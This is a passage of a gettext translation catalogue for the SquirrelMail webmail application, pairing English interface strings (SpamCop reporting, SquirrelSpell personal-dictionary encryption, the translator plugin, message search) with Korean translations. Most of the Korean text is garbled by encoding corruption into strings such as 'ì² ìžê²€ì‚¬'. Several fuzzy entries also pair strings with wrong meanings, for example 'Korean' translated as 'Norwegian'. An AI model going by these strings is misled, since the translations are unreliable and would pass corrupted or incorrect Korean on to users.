msgstr "스팸 í•„í„°ë§"

msgid "SpamCop link is:"
msgstr ""

#, fuzzy
msgid "Delete spam when reported:"
msgstr "ì„ íƒí•œ 주소 ì‚­ì œ"

msgid "Only works with email-based reporting"
msgstr ""

#, fuzzy
msgid "Spam Reporting Method:"
msgstr "SpamCop - 스팸 보고"

msgid "Quick email-based reporting"
msgstr ""

msgid "Thorough email-based reporting"
msgstr ""

msgid "Web-based form"
msgstr ""

#, fuzzy
msgid "Save Method"
msgstr "메세지 저장"

msgid "Your SpamCop authorization code:"
msgstr ""

msgid "see below"
msgstr ""

#, fuzzy
msgid "Save ID"
msgstr "저장"

msgid "About SpamCop"
msgstr ""

msgid ""
"SpamCop is a free service that greatly assists in finding the true source of "
"the spam and helps in letting the proper people know about the abuse."
msgstr ""

#, php-format
msgid ""
"To use it, you must get a SpamCop authorization code. There is a free %ssign "
"up page%s so you can use SpamCop."
msgstr ""

msgid "Before you sign up, be warned"
msgstr ""

#, php-format
msgid ""
"Some users have reported that the email addresses used with SpamCop find "
"their way onto spam lists. To be safe, you can just create an email "
"forwarding account and have all SpamCop reports get sent to there. Also, if "
"it gets flooded with spam, you can then just delete that account with no "
"worries about losing your real email address. Just go create an email "
"forwarder somewhere (%s has a %slist of places%s) so that messages from "
"system administrators and what not can be sent to you."
msgstr ""

msgid ""
"Once you have signed up with SpamCop and have received your SpamCop "
"authorization code, you need to enable this plugin by clicking the link "
"above. Once enabled, you go about your normal life. If you encounter a spam "
"message in your mailbox, just view it. On the right-hand side, near the top "
"of where the message is displayed, you will see a link to report this "
"message as spam. Clicking on it brings you to a confirmation page. "
"Confirming that you want the spam report sent will do different things with "
"different reporting methods."
msgstr ""

msgid "Email-based reporting"
msgstr ""

msgid ""
"Pressing the button forwards the message to the SpamCop service and will "
"optionally delete the message. From there, you just need to go to your INBOX "
"and quite soon a message should appear from SpamCop. (It gets sent to the "
"account you registered with, so make sure that your mail forwarder works!) "
"Open it up, click on the appropriate link at the top, and a new browser "
"window will open."
msgstr ""

msgid ""
"Currently, the quick reporting just forwards the request to the thorough "
"reporting. Also, it appears that this is for members (non-free) only. "
"Hopefully this will change soon."
msgstr ""

msgid "Web-based reporting"
msgstr ""

msgid ""
"When you press the button on the confirmation page, this will pop open a new "
"browser window and the SpamCop service should appear inside. The message "
"will not be deleted (working on that part), but you won't need to wait for a "
"response email to start the spam reporting."
msgstr ""

msgid ""
"The SpamCop service will display information as it finds it, so scroll down "
"until you see a form button. It might pause a little while it is looking up "
"information, so be a little patient. Read what it says, and submit the spam. "
"Close the browser window. Press Cancel or click on the appropriate mail "
"folder to see messages and/or delete the spam."
msgstr ""

msgid "SpamCop service type"
msgstr ""

msgid ""
"Service type option allows selecting which SpamCop services you are using. "
"Member services use different web reporting forms and does not display nags. "
"You can purchase these services, if you want to support SpamCop."
msgstr ""

#, fuzzy
msgid "More information"
msgstr "IMAP 서버 정보"

#, php-format
msgid ""
"For more information about SpamCop, it's services, spam in general, and many "
"related topics, try reading through SpamCop's %sHelp and Feedback%s section."
msgstr ""

msgid "Report as Spam"
msgstr "스팸으로 보고하기"

msgid "SpamCop - Spam Reporting"
msgstr "SpamCop - 스팸 보고"

msgid ""
"Help fight the battle against unsolicited email. SpamCop reads the spam "
"email and determines the correct addresses to send complaints to. Quite "
"fast, really smart, and easy to use."
msgstr ""

msgid ""
"Sending this spam report will give you back a reply with URLs that you can "
"click on to properly report this spam message to the proper authorities. "
"This is a free service. By pressing the \"Send Spam Report\" button, you "
"agree to follow SpamCop's rules/terms of service/etc."
msgstr ""

msgid "Cancel / Done"
msgstr ""

#, fuzzy
msgid "Send Spam Report"
msgstr "SpamCop - 스팸 보고"

msgid "SpellChecker Options"
msgstr "ì² ìžê²€ì‚¬ 설정"

msgid ""
"Here you may set up how your personal dictionary is stored, edit it, or "
"choose which languages should be available to you when spell-checking."
msgstr ""
"여기ì—서는 ê°œì¸ ì‚¬ì „ì˜ ì €ìž¥ ë°©ì‹ì„ 설정, 수정 ë˜ëŠ” ì² ìž ê²€ì‚¬ë¥¼ 위해 ì–´ë–¤ 언어"
"를 사용할것ì¸ì§€ë¥¼ 설정할 수 있습니다."

msgid "Check Spelling"
msgstr "ì² ìžê²€ì‚¬ 시작"

msgid "Back to &quot;SpellChecker Options&quot; page"
msgstr "&quot;ì² ìžê²€ì‚¬ 설정&quot;페ì´ì§€ë¡œ ëŒì•„가기"

msgid "ATTENTION:"
msgstr "주ì˜:"

#, fuzzy
msgid ""
"SquirrelSpell was unable to decrypt your personal dictionary. This is most "
"likely due to the fact that you have changed your mailbox password. In order "
"to proceed, you will have to supply your old password so that SquirrelSpell "
"can decrypt your personal dictionary. It will be re-encrypted with your new "
"password after this. If you haven't encrypted your dictionary, then it got "
"mangled and is no longer valid. You will have to delete it and start anew. "
"This is also true if you don't remember your old password -- without it, the "
"encrypted data is no longer accessible."
msgstr ""
"ì² ìžê²€ì‚¬ê°€ ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í•´ì œí•  수 없습니다. ëŒ€ë¶€ë¶„ì˜ ê²½ìš° íŽ¸ì§€í•¨ì˜ ì•”í˜¸ë¥¼ "
"변경했기 때문입니다. ê³„ì† ì§„í–‰í•˜ê¸° 위해서는 ì´ì „ 암호로 변경해야 ì² ìžê²€ìƒ‰ê¸°"
"ê°€ ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í•´ì œí•  수 있습니다.ì´ë ‡ê²Œ 한후, 새로운 암호로 다시 암호화"
"하시기 ë°”ëžë‹ˆë‹¤. <br>만약 ì‚¬ì „ì„ ì•”í˜¸í™”í•˜ì§€ 않았다면, ì´ ì‚¬ì „ì€ ë”ì´ìƒ 사용"
"í•  수 없습니다. ì´ íŒŒì¼ì„ 삭제하시고, 새로운것으로 다시 시작하시기 ë°”ëžë‹ˆë‹¤. "
"만약 ì´ì „암호를 기억하지 못할 경우ì—ë„ íŒŒì¼ì„ 삭제하시기 ë°”ëžë‹ˆë‹¤. ì•”í˜¸í™”ëœ "
"파ì¼ì—는 ë”ì´ìƒ 접근할 수 없습니다."

msgid "Delete my dictionary and start a new one"
msgstr "ì‚¬ì „ì„ ì‚­ì œí•˜ê³  새로 시작합니다."

msgid "Decrypt my dictionary with my old password:"
msgstr "ì‚¬ì „ì„ ì´ì „ 암호로 í•´ë…"

msgid "Proceed"
msgstr "ì§„í–‰"

msgid "You must make a choice"
msgstr "하나를 ì„ íƒí•´ì•¼ 합니다."

msgid ""
"You can either delete your dictionary or type in the old password. Not both."
msgstr "ì‚¬ì „ì„ ì‚­ì œí•˜ê±°ë‚˜ 기존 암호중 하나를 ì„ íƒí•´ì•¼ 합니다."

msgid "This will delete your personal dictionary file. Proceed?"
msgstr "ê°œì¸ì‚¬ì „파ì¼ì„ 삭제합니다. 계ì†í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

msgid "Error Decrypting Dictionary"
msgstr "사전 암호해제 오류"

msgid "Cute."
msgstr "ì¸ìš©"

#, php-format
msgid "Could not run the spellchecker command (%s)."
msgstr ""

msgid "Error while writing to pipe."
msgstr ""

#, fuzzy, php-format
msgid "Could not open temporary file '%s'."
msgstr "ë°ì´íƒ€íŒŒì¼ 잠금 오류"

#, php-format
msgid "Error while writing to temporary file '%s'."
msgstr ""

#, php-format
msgid "I tried to execute '%s', but it returned:"
msgstr "'%s' ì„(를) 실행했지만, ê·¸ 결과는:"

msgid "SquirrelSpell is misconfigured."
msgstr "SquirrelSpell 설정 오류."

msgid "Spellcheck completed. Commit changes?"
msgstr "ì² ìžê²€ì‚¬ê°€ 완료ë˜ì—ˆìŠµë‹ˆë‹¤. ë³€ê²½ì‚¬í•­ì„ ë°˜ì˜í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

msgid "No changes were made."
msgstr "ë³€ê²½ì‚¬í•­ì´ ì—†ìŠµë‹ˆë‹¤."

msgid "Now saving your personal dictionary... Please wait."
msgstr "ì´ì œ ê°œì¸ ì‚¬ì „ì„ ì €ìž¥í•©ë‹ˆë‹¤... 잠시 기다리세요."

msgid "SquirrelSpell Results"
msgstr "SquirrelSpell ê²°ê³¼"

#, php-format
msgid "Found %s errors"
msgstr "%s 오류 발견"

msgid "Line with an error:"
msgstr "오류 ë¼ì¸:"

msgid "Error:"
msgstr "오류:"

msgid "Suggestions:"
msgstr "제안:"

msgid "Suggestions"
msgstr "제안:"

msgid "Change to:"
msgstr "변경:"

msgid "Occurs times:"
msgstr "ë°œìƒ ì‹œê°„:"

msgid "Change this word"
msgstr "ì´ ë‹¨ì–´ 변경"

msgid "Change"
msgstr "변경"

msgid "Change ALL occurances of this word"
msgstr "ì´ ë‹¨ì–´ ëª¨ë‘ ë³€ê²½"

msgid "Change All"
msgstr "ëª¨ë‘ ë³€ê²½"

msgid "Ignore this word"
msgstr "ì´ ë‹¨ì–´ 무시"

msgid "Ignore"
msgstr "무시"

msgid "Ignore ALL occurances this word"
msgstr "ì´ ë‹¨ì–´ ëª¨ë‘ ë¬´ì‹œ"

msgid "Ignore All"
msgstr "ëª¨ë‘ ë¬´ì‹œ"

msgid "Add this word to your personal dictionary"
msgstr "ì´ ë‹¨ì–´ë¥¼ ê°œì¸ì‚¬ì „파ì¼ì— 추가"

msgid "Add to Dic"
msgstr "ì‚¬ì „ì— ì¶”ê°€"

msgid "Close and Commit"
msgstr "저장"

msgid "The spellcheck is not finished. Really close and commit changes?"
msgstr "ì² ìžê²€ì‚¬ê°€ 완료ë˜ì§€ 않았습니다. ë³€ê²½ì‚¬í•­ì„ ë°˜ì˜í•˜ê³  완료하시겠습니까?"

msgid "Close and Cancel"
msgstr "취소"

msgid "The spellcheck is not finished. Really close and discard changes?"
msgstr "ì² ìžê²€ì‚¬ê°€ 완료ë˜ì§€ 않았습니다. ë³€ê²½ì‚¬í•­ì„ ì·¨ì†Œí•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

msgid "No errors found"
msgstr "오류가 없습니다."

#, fuzzy
msgid ""
"Your personal dictionary has been encrypted and is now stored in an "
"encrypted format."
msgstr ""
"ê°œì¸ ì‚¬ì „ì´ <strong>암호화</strong>ë˜ì—ˆìŠµë‹ˆë‹¤. ì´ì œ <strong>ì•”í˜¸í™”ëœ í¬ë§·</"
"strong>으로 저장ë˜ì–´ì§‘니다."

#, fuzzy
msgid ""
"Your personal dictionary has been decrypted and is now stored as plain text."
msgstr ""
"ê°œì¸ ì‚¬ì „ì´ <strong>암호해제</strong>ë˜ì—ˆìŠµë‹ˆë‹¤. ì´ì œ <strong> ì¼ë°˜ 문서 í¬ë§·"
"</strong>으로 저장ë˜ì–´ì§‘니다."

msgid "Personal Dictionary Crypto Settings"
msgstr "ê°œì¸ ì‚¬ì „ 암호화 설정"

msgid "Your personal dictionary was erased."
msgstr "ê°œì¸ì‚¬ì „파ì¼ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."

msgid "Dictionary Erased"
msgstr "사전 삭제"

msgid ""
"Your personal dictionary was erased. Please close this window and click "
"\"Check Spelling\" button again to start your spellcheck over."
msgstr ""
"ê°œì¸ ì‚¬ì „ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤. ì´ ì°½ì„ ë‹«ê³  \"ì² ìž ê²€ì‚¬\" ë²„íŠ¼ì„ ë‹¤ì‹œ í´ë¦­í•˜ë©´ "
"ì² ìžê²€ì‚¬ë¥¼ 다시 시작할 수 있습니다."

msgid "Close this Window"
msgstr "창 닫기"

msgid ""
"Your personal dictionary was re-encrypted successfully. Now return to the "
"&quot;SpellChecker options&quot; menu and make your selection again."
msgstr ""
"ê°œì¸ ì‚¬ì „ì˜ ìž¬ì•”í˜¸í™”ê°€ 완료ë˜ì—ˆìŠµë‹ˆë‹¤. ì´ì œ &quot;ì² ìžê²€ì‚¬ 설정&quot; 메뉴로 "
"ëŒì•„가서 다시 ì„ íƒí•´ì£¼ì„¸ìš”."

#, fuzzy
msgid "Successful re-encryption"
msgstr "재 암호화 완료"

msgid ""
"Your personal dictionary was re-encrypted successfully. Please close this "
"window and click \"Check Spelling\" button again to start your spellcheck "
"over."
msgstr ""
"ê°œì¸ ì‚¬ì „ì´ ìž¬ì•”í˜¸í™”ë˜ì—ˆìŠµë‹ˆë‹¤. ì´ ì°½ì„ ë‹«ê³  \"ì² ìž ê²€ì‚¬\" ë²„íŠ¼ì„ ë‹¤ì‹œ í´ë¦­í•˜"
"ì—¬ ì² ìžê²€ì‚¬ë¥¼ 다시 시작하세요."

msgid "Dictionary re-encrypted"
msgstr "사전 재암호화"

msgid "Personal Dictionary"
msgstr "ê°œì¸ ì‚¬ì „"

msgid "No words in your personal dictionary."
msgstr "ê°œì¸ì‚¬ì „ì— ë‹¨ì–´ê°€ 없습니다."

msgid "Please check any words you wish to delete from your dictionary."
msgstr "사전ì—서 ì‚­ì œí•˜ê³ ìž í•˜ëŠ” ë‹¨ì–´ì„ ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, php-format
msgid "%s dictionary"
msgstr "%s 사전"

msgid "Delete checked words"
msgstr "ì„ íƒí•œ 단어 ì‚­ì œ"

msgid "Edit your Personal Dictionary"
msgstr "ê°œì¸ ì‚¬ì „ 편집"

msgid "Please make your selection first."
msgstr "먼저 ì„ íƒí•˜ì„¸ìš”."

msgid ""
"This will encrypt your personal dictionary and store it in an encrypted "
"format. Proceed?"
msgstr ""
"ì´ê²ƒì€ ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í™”í•˜ê³  ì•”í˜¸í™”ëœ í¬ë§·ìœ¼ë¡œ 저장합니다. 계ì†í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

#, fuzzy
msgid ""
"This will decrypt your personal dictionary and store it in a plain text "
"format. Proceed?"
msgstr ""
"ì´ê²ƒì€ ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í•´ì œí•˜ê³  ì¼ë°˜ 문서 í¬ë§·ìœ¼ë¡œ 저장합니다. 계ì†í•˜ì‹œê² ìŠµë‹ˆ"
"까?"

#, fuzzy
msgid "Your personal dictionary is currently encrypted."
msgstr "ê°œì¸ì‚¬ì „파ì¼ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."

msgid ""
"This helps protect your privacy in case the web-mail system gets compromized "
"and your personal dictionary ends up stolen. It is currently encrypted with "
"the password you use to access your mailbox, making it hard for anyone to "
"see what is stored in your personal dictionary."
msgstr ""

msgid ""
"If you forget your password, your personal dictionary will become "
"unaccessible, since it can no longer be decrypted. If you change your "
"mailbox password, SquirrelSpell will recognize it and prompt you for your "
"old password in order to re-encrypt the dictionary with a new key."
msgstr ""

msgid ""
"Please decrypt my personal dictionary and store it in a clear-text format."
msgstr "ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í•´ì œí•˜ê³  ì¼ë°˜ 문서 í¬ë§·ìœ¼ë¡œ 저장합니다."

msgid "Change crypto settings"
msgstr "암호화 설정 변경"

#, fuzzy
msgid "Your personal dictionary is currently not encrypted."
msgstr "ê°œì¸ì‚¬ì „파ì¼ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤."

msgid ""
"You may wish to encrypt your personal dictionary to protect your privacy in "
"case the webmail system gets compromized and your personal dictionary file "
"gets stolen. When encrypted, the file's contents look garbled and are hard "
"to decrypt without knowing the correct key (which is your mailbox password)."
msgstr ""

#, fuzzy
msgid ""
"If you decide to encrypt your personal dictionary, you must remember that it "
"gets &quot;hashed&quot; with your mailbox password. If you forget your "
"mailbox password and the administrator changes it to a new value, your "
"personal dictionary will become useless and will have to be created anew. "
"However, if you or your system administrator change your mailbox password "
"but you still have the old password at hand, you will be able to enter the "
"old key to re-encrypt the dictionary with the new value."
msgstr ""
"<p>ê°œì¸ ì‚¬ì „ì€ <strong>현재 암호화 ë˜ì–´ 있지 않습니다.</strong>. ì´ê²ƒì€ 웹메"
"ì¼ ì‹œìŠ¤í…œê³¼ ê°œì¸ ì‚¬ì „ 분실시 ë‹¹ì‹ ì˜ ì‚¬ìƒí™”를 보호할 수 있게 하기 위해 암호화 "
"í•  수 있습니다. 암호화를 하게 ë˜ë©´ 파ì¼ì˜ ë‚´ìš©ì€ ë’¤ì„žì—¬ 정확한 키(ë©”ì¼í•¨ì˜ ì•”"
"호)를 알지 못하는 경우 í•´ë…하기 어렵습니다.<p><strong>주ì˜:</strong>ê°œì¸ ì‚¬ì „"
"ì„ ì•”í˜¸í™”í•˜ê¸°ë¡œ 결정했다면, ë©”ì¼í•¨ì˜ 암호를 기억해야 합니다. 만약 암호를 모르"
"는 경우, 시스템 관리ìžê°€ 새로운 암호를 설정하게 ë˜ë©´, ê°œì¸ ì‚¬ì „ì€ ì“¸ëª¨ì—†ê²Œ ë˜"
"ì–´ 새로 만들어야 합니다. 만약 암호를 변경하ë”ë¼ë„ ì´ì „ì˜ ì•”í˜¸ë¥¼ 알고 있다면, "
"새로운 값으로 ì‚¬ì „ì„ ìž¬ì•”í˜¸í™”í•  수 있ë„ë¡ ì´ì „ 암호를 입력받게 ë  ê²ƒìž…ë‹ˆë‹¤."

msgid ""
"Please encrypt my personal dictionary and store it in an encrypted format."
msgstr "ê°œì¸ ì‚¬ì „ì„ ì•”í˜¸í™”í•˜ê³  ì•”í˜¸í™”ëœ í¬ë§·ìœ¼ë¡œ 저장합니다."

#, fuzzy, php-format
msgid "Deleting the following entries from %s dictionary:"
msgstr "<strong>%s</strong> 사전ì—서 다ìŒì˜ í•­ëª©ì„ ì‚­ì œí•©ë‹ˆë‹¤:"

msgid "All done!"
msgstr "ëª¨ë‘ ì™„ë£Œ!"

msgid "Personal Dictionary Updated"
msgstr "ê°œì¸ ì‚¬ì „ 갱신"

msgid "No changes requested."
msgstr "변경 사항 ì—†ìŒ"

msgid "Please wait, communicating with the server..."
msgstr "서버와 통신하기 위해 잠시 기다려 주세요..."

msgid ""
"Please choose which dictionary you would like to use to spellcheck this "
"message:"
msgstr "ì´ ë©”ì„¸ì§€ì˜ ì² ìžê²€ì‚¬ë¥¼ 수행할 ì‚¬ì „ì„ ì„ íƒí•´ 주세요."

msgid "SquirrelSpell Initiating"
msgstr "SquirrelSpell 초기화중"

#, fuzzy, php-format
msgid "Settings adjusted to: %s with %s as default dictionary."
msgstr "설정 변경: 기본 사전 <strong>%s</strong>(<strong>%s</strong>)"

#, fuzzy, php-format
msgid "Using %s dictionary (system default) for spellcheck."
msgstr "ì² ìžê²€ì‚¬ë¥¼ 위해 <strong>%s</strong> 사전(시스템 기본)ì„ ì‚¬ìš©"

msgid "International Dictionaries Preferences Updated"
msgstr "국제 사전 환경설정 갱신"

msgid ""
"Please check any available international dictionaries which you would like "
"to use when spellchecking:"
msgstr "ì² ìžê²€ì‚¬ë¥¼ 위해 사용가능한 êµ­ì œ ì‚¬ì „ì„ í™•ì¸í•˜ì„¸ìš”"

msgid "Make this dictionary my default selection:"
msgstr "ì´ ì‚¬ì „ì„ ê¸°ë³¸ìœ¼ë¡œ 설정함:"

msgid "Make these changes"
msgstr "변경"

msgid "Add International Dictionaries"
msgstr "국제 사전 추가"

msgid "Please choose which options you wish to set up:"
msgstr "ì„¤ì •í•˜ê³ ìž í•˜ëŠ” ì˜µì…˜ì„ ì„ íƒí•˜ì„¸ìš”:"

msgid "Edit your personal dictionary"
msgstr "ê°œì¸ ì‚¬ì „ 편집"

msgid "Set up international dictionaries"
msgstr "국제 사전 설정"

msgid "Encrypt or decrypt your personal dictionary"
msgstr "ê°œì¸ ì‚¬ì „ 암호 ë° í•´ë…"

msgid "not available"
msgstr "사용할 수 없습니다."

msgid "SquirrelSpell Options Menu"
msgstr "SquirrelSpell 설정 메뉴"

msgid "Translator"
msgstr "번역기"

msgid "Saved Translation Options"
msgstr "번역 설정 저장"

msgid "Your server options are as follows:"
msgstr "현재 ì„œë²„ì˜ í™˜ê²½ ì„¤ì •ì€ ì•„ëž˜ì™€ 같습니다:"

#, fuzzy
msgid "Maximum of 150 words translated, powered by Systran"
msgstr "10ê°œì˜ ì–¸ì–´ìŒ ì‚¬ìš©, 최대 25 kb 까지 번역. Systran 사용"

#, php-format
msgid "Number of supported language pairs: %s"
msgstr ""

#, fuzzy
msgid "No known limits, powered by Systran"
msgstr "12ê°œì˜ ì–¸ì–´ìŒì„ 사용. 제한사항 ì—†ìŒ. Systran 번역기 사용"

#, fuzzy
msgid "No known limits, powered by Translation Experts' InterTran"
msgstr ""
"767ê°œì˜ ì–¸ì–´ìŒì„ 사용합니다. ì œí•œì‚¬í•­ì€ ì—†ìŠµë‹ˆë‹¤. Transaltion Expertsì˜ "
"InterTran 번역기를 사용합니다."

#, php-format
msgid "Number of supported languages: %s"
msgstr ""

#, fuzzy
msgid "Hellenic translations, no known limits, powered by Systran"
msgstr "12ê°œì˜ ì–¸ì–´ìŒì„ 사용. 제한사항 ì—†ìŒ. Systran 번역기 사용"

#, fuzzy
msgid "Russian translations, maximum of 500 characters translated"
msgstr "13ê°œì˜ ì–¸ì–´ìŒ ì‚¬ìš©. 최대 1000ê°œì˜ ë¬¸ìží—ˆìš©. Systran 사용"

msgid ""
"You also decide if you want the translation box displayed, and where it will "
"be located."
msgstr "번역ìƒìžë¥¼ 표시할것ì¸ì§€, 그리고 ìƒìžì˜ 위치를 ì„ íƒí•  수 있습니다."

msgid "Select your translator:"
msgstr "번역기 ì„ íƒ:"

msgid "When reading:"
msgstr "ì½ì€ 시기:"

msgid "Show translation box"
msgstr "번역ìƒìž 보기"

msgid "to the left"
msgstr "왼쪽으로"

msgid "in the center"
msgstr "가운ë°ë¡œ"

msgid "to the right"
msgstr "오른쪽으로"

msgid "Translate inside the SquirrelMail frames"
msgstr "SquirrelMail 프레임안ì—서 번역"

msgid "Translation Options"
msgstr "번역 설정"

msgid ""
"Which translator should be used when you get messages in a different "
"language?"
msgstr "다른 ì–¸ì–´ì˜ ë©”ì„¸ì§€ë¥¼ 수신했ì„때 ì–´ë–¤ 번역기를 사용하시겠습니까?"

#, php-format
msgid "%s to %s"
msgstr "%sì„(를) %s(으)로 "

msgid "Chinese, Simplified"
msgstr ""

msgid "English"
msgstr "ì˜ì–´"

msgid "Chinese, Traditional"
msgstr ""

msgid "Dutch"
msgstr "네ëœëž€ë“œì–´"

msgid "French"
msgstr "프랑스어"

msgid "German"
msgstr "ë…ì¼ì–´"

msgid "Greek"
msgstr "그리스어"

msgid "Italian"
msgstr "ì´íƒˆë¦¬ì•„ì–´"

msgid "Japanese"
msgstr "ì¼ë³¸ì–´"

#, fuzzy
msgid "Korean"
msgstr "노르웨ì´"

msgid "Portuguese"
msgstr "í¬ë¥´íˆ¬ê°ˆì–´"

msgid "Russian"
msgstr "러시아어"

msgid "Spanish"
msgstr "스페ì¸ì–´"

msgid "Translate"
msgstr "번역"

msgid "Brazilian Portuguese"
msgstr "브ë¼ì§ˆ í¬ë¥´íˆ¬ê°ˆì–´"

msgid "Bulgarian"
msgstr "불가리아어"

msgid "Croatian"
msgstr "í¬ë¡œì•„í‹°ì•„"

msgid "Czech"
msgstr "체코어"

msgid "Danish"
msgstr "ë´ë§ˆí¬ì–´"

msgid "Filipino (Tagalog)"
msgstr ""

msgid "Finnish"
msgstr "핀란드어"

msgid "Hungarian"
msgstr "í—가리어"

msgid "Icelandic"
msgstr "ì•„ì´ìŠ¬ëž€ë“œì–´"

msgid "Latin"
msgstr "ë¼í‹´ì–´"

msgid "Latin American Spanish"
msgstr "ë¼í‹´ 아메리카 스페ì¸ì–´"

msgid "Norwegian"
msgstr "노르웨ì´"

msgid "Polish"
msgstr "í´ëž€ë“œ"

msgid "Romanian"
msgstr "루마니아어"

msgid "Serbian"
msgstr "세르비아"

msgid "Slovenian"
msgstr "슬로베니아"

msgid "Swedish"
msgstr "스웨ë´"

msgid "Turkish"
msgstr "터키어"

msgid "Welsh"
msgstr "웨ì¼ìŠ¤ì–´"

msgid "Indonesian"
msgstr "ì¸ë„네시아"

#, fuzzy
msgid "to English"
msgstr "ì˜ì–´"

#, fuzzy
msgid "from English"
msgstr "ì˜ì–´"

#, fuzzy
msgid "Interface language"
msgstr "기본 언어"

#, fuzzy
msgid "Translation direction"
msgstr "번역 설정"

#, fuzzy, php-format
msgid "About SquirrelMail %s"
msgstr "SquirrelMail 버전 %s"

msgid ""
"SquirrelMail is the name of the program that provides access to your email "
"via the web."
msgstr ""

#, php-format
msgid ""
"If you have questions about or problems with your mail account, passwords, "
"abuse etc, please refer to your system administrator or provider%s."
msgstr ""

#, php-format
msgid ""
"They can assist you adequately with these issues. The SquirrelMail Project "
"Team cannot help you with that. The %shelp system%s provides answers to "
"frequently asked questions."
msgstr ""

#, php-format
msgid ""
"SquirrelMail is a feature rich, standards compliant webmail application "
"written in PHP. It was made by a group of volunteers united in the "
"SquirrelMail Project Team and is released as open source, free software "
"under the %sGNU General Public License%s."
msgstr ""

#, php-format
msgid ""
"For more information about SquirrelMail and the SquirrelMail Project Team, "
"see %sthe SquirrelMail website%s."
msgstr ""

#, fuzzy
msgid "System information"
msgstr "IMAP 서버 정보"

#, fuzzy, php-format
msgid "You are using SquirrelMail version: %s"
msgstr "SquirrelMail 버전 %s"

msgid "The administrator installed the following plugins:"
msgstr ""

msgid "none installed"
msgstr ""

msgid "sort by nickname"
msgstr ""

#, fuzzy
msgid "sort by name"
msgstr "성"

msgid "sort by email"
msgstr ""

msgid "sort by info"
msgstr ""

#, fuzzy
msgid "Add to address book"
msgstr "주소 추가"

msgid ""
"Because PHP file uploads are turned off, you can not attach files to this "
"message. Please see your system administrator for details."
msgstr ""

#, fuzzy
msgid "No folders were found to unsubscribe from."
msgstr "사용하지 않기 위한 íŽ¸ì§€í•¨ì´ ì—†ìŠµë‹ˆë‹¤."

#, fuzzy
msgid "No folders were found to subscribe to."
msgstr "사용하기 위한 íŽ¸ì§€í•¨ì´ ì—†ìŠµë‹ˆë‹¤."

msgid "Last Refresh"
msgstr "최종 갱신시간"

#, fuzzy
msgid "Check mail"
msgstr "로그ì¸ì‹œ ë©”ì¼ ê²€ì‚¬"

msgid "Save folder tree"
msgstr "ë©”ì¼í•¨ 트리 저장"

#, fuzzy
msgid "SquirrelMail Webmail Application"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "Compose Preferences"
msgstr "편지함 환경설정"

msgid ""
"Control the behaviour and layout of writing new mail messages, replying to "
"and forwarding messages."
msgstr ""

#, fuzzy
msgid "Received"
msgstr "수신"

#, fuzzy
msgid "As Attachment"
msgstr "첨부"

msgid "Bypass Trash"
msgstr ""

msgid "Please enter something to search for"
msgstr ""

msgid "There must be at least one criteria to search for"
msgstr ""

#, fuzzy
msgid "Error in criteria argument"
msgstr "구문 오류; 매개변수 오류"

msgid "(Illegal date)"
msgstr ""

msgid "(Wrong date)"
msgstr ""

#, fuzzy
msgid "In"
msgstr "정보 사항"

msgid "(Missing argument)"
msgstr ""

msgid "(Spurious argument)"
msgstr ""

#, fuzzy
msgid "Fold"
msgstr "편지함"

#, fuzzy
msgid "Unfold"
msgstr "정보 사항"

#, fuzzy
msgid "Saved Searches"
msgstr "최근 검색"

msgid "Missing"
msgstr ""

msgid "and&nbsp;subfolders:"
msgstr ""

msgid "Exclude Criteria:"
msgstr ""

#, fuzzy
msgid "Search Criteria"
msgstr "찾기"

#, fuzzy
msgid "Add New Criteria"
msgstr "서버 추가"

msgid "Remove Excluded Criteria"
msgstr ""

msgid "Remove All Criteria"
msgstr ""

#, fuzzy
msgid "Not"
msgstr "참조"

msgid "Answered"
msgstr ""

#, fuzzy
msgid "Before"
msgstr "forget?"

#, fuzzy
msgid "Message Body"
msgstr "메세지 "

#, fuzzy
msgid "Deleted"
msgstr "삭제"

#, fuzzy
msgid "Draft"
msgstr "ìž„ì‹œë³´ê´€í•¨ì— ì €ìž¥"

#, fuzzy
msgid "Flagged"
msgstr "플래그"

#, fuzzy
msgid "Sent By"
msgstr "전송:"

#, fuzzy
msgid "Header Field"
msgstr "í—¤ë”"

msgid "Keyword"
msgstr ""

msgid "Larger Than"
msgstr ""

msgid "Old"
msgstr ""

msgid "On"
msgstr ""

#, fuzzy
msgid "Recent"
msgstr "수신"

#, fuzzy
msgid "Seen"
msgstr "전송"

#, fuzzy
msgid "Sent Before"
msgstr "보낸 편지함"

#, fuzzy
msgid "Sent On"
msgstr "전송:"

msgid "Sent Since"
msgstr ""

#, fuzzy
msgid "Since"
msgstr "í¬ê¸°"

msgid "Smaller Than"
msgstr ""

#, fuzzy
msgid "Subject Contains"
msgstr "내용물:"

msgid "Header and Body"
msgstr ""

#, fuzzy
msgid "Sent To"
msgstr "보낸 편지함"

msgid "And In"
msgstr ""

msgid "Or In"
msgstr ""

#, fuzzy
msgid "And"
msgstr "추가"

msgid "Or"
msgstr ""

msgid "Standard search"
msgstr ""

msgid "Advanced search"
msgstr ""

#, fuzzy
msgid "Folder List"
msgstr "편지함"

msgid "PHP install does not have LDAP support."
msgstr ""

msgid "Click here to change the sorting of the address list"
msgstr ""

msgid "Illegal folder name."
msgstr ""

#, php-format
msgid "The name may not contain any of the following: %s"
msgstr ""

#, fuzzy
msgid "Please select a different name."
msgstr "편지함 ì´ë¦„ì´ ìž˜ëª»ë˜ì—ˆìŠµë‹ˆë‹¤. 다른ì´ë¦„ì„ ì‚¬ìš©í•˜ì„¸ìš”."

#, fuzzy
msgid "You have not selected a folder to subscribe. Please do so."
msgstr "ì´ë¦„ì„ ë³€ê²½í•  íŽ¸ì§€í•¨ì„ ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, fuzzy
msgid "You have not selected a folder to unsubscribe. Please do so."
